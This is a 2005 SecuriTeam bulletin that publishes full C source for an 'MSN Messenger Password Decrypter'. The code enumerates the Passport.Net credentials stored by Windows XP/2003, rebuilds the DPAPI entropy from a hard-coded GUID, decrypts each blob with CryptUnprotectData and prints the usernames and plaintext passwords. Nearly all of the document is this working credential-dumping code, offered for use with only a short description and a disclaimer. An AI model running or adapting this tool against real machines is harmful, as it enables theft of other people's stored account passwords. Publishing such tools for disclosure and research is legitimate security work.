[TOOL] Windows XP/2003 MSN Password Decrypter

From: SecuriTeam (support_at_securiteam.com)
Date: 08/18/05

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      Windows XP/2003 MSN Password Decrypter
    ------------------------------------------------------------------------

    SUMMARY

    DETAILS

    The following tool will decrypt the MSN password stored by the Windows
    operating system.

    Tool Code:
    /*
     * MSN Messenger Password Decrypter for Windows XP & 2003
     * (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)
     * - Gregory R. Panakkal
     * http://www.crapware.tk/
     * http://www.infogreg.com/
     */

    #include <windows.h>
    #include <wincrypt.h>
    #include <stdio.h>

    #pragma comment(lib, "Crypt32.lib")

    //Following definitions taken from wincred.h
    //[available only in Oct 2002 MS Platform SDK /
    LCC-Win32 Includes]

    typedef struct _CREDENTIAL_ATTRIBUTEA {
        LPSTR Keyword;
        DWORD Flags;
        DWORD ValueSize;
        LPBYTE Value;
    }
    CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

    typedef struct _CREDENTIALA {
        DWORD Flags;
        DWORD Type;
        LPSTR TargetName;
        LPSTR Comment;
        FILETIME LastWritten;
        DWORD CredentialBlobSize;
        LPBYTE CredentialBlob;
        DWORD Persist;
        DWORD AttributeCount;
        PCREDENTIAL_ATTRIBUTEA Attributes;
        LPSTR TargetAlias;
        LPSTR UserName;
    } CREDENTIALA,*PCREDENTIALA;

    typedef CREDENTIALA CREDENTIAL;
    typedef PCREDENTIALA PCREDENTIAL;

    ////////////////////////////////////////////////////////////////////

    typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
    DWORD, DWORD *, PCREDENTIALA **);
    typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
    DWORD, PCREDENTIALA *);
    typedef VOID (WINAPI *typeCredFree)(PVOID);

    typeCredEnumerateA pfCredEnumerateA;
    typeCredReadA pfCredReadA;
    typeCredFree pfCredFree;

    ////////////////////////////////////////////////////////////////////

    void showBanner()
    {
        printf("MSN Messenger Password Decrypter for Windows XP/2003\n");
        printf(" - Gregory R. Panakkal, http://www.infogreg.com \n\n");
    }

    ////////////////////////////////////////////////////////////////////
    int main()
    {
        PCREDENTIAL *CredentialCollection = NULL;
        DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

        //used for filling up blobEntropy
        char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0";
    //credui.dll
        short int EntropyData[37];
        short int tmp;

        HMODULE hDLL;
        DWORD Count, i;

        showBanner();

        //Locate CredEnumerate, CredRead, CredFree from advapi32.dll
        if( hDLL = LoadLibrary("advapi32.dll") )
        {
            pfCredEnumerateA =(typeCredEnumerateA)GetProcAddress(hDLL,
    "CredEnumerateA");
            pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
            pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

            if( pfCredEnumerateA == NULL|| pfCredReadA == NULL || pfCredFree
    == NULL )
            {
                printf("error!\n");
                return -1;
            }
        }
        

        //Get an array of 'credential', satisfying the filter
        pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection);

        if( Count ) //usually this value is only 1
        {

            //Calculate Entropy Data
            for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37
            {
                tmp = (short int)szEntropyStringSeed[i];
                tmp <<= 2;
                EntropyData[i] = tmp;
            }

            for(i=0; i<Count; i++)
            {
                blobEntropy.pbData = (BYTE *)&EntropyData;
                blobEntropy.cbData = 74; //sizeof(EntropyData)

                blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
                blobCrypt.cbData =
    CredentialCollection[i]->CredentialBlobSize;

                CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL,
    1, &blobPlainText);
                
                printf("Username : %s\n", CredentialCollection[i]->UserName);
                printf("Password : %ls\n\n", blobPlainText.pbData);
            }
        }

        pfCredFree(CredentialCollection);
    }

    /* EoF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:viper31337@yahoo.co.in>
    ViPeR.
    To keep updated with the tool visit the project's homepage at:
    <http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter-for-windows-xp-and-2003.html> http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter-for-windows-xp-and-2003.html

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    ====================
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    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

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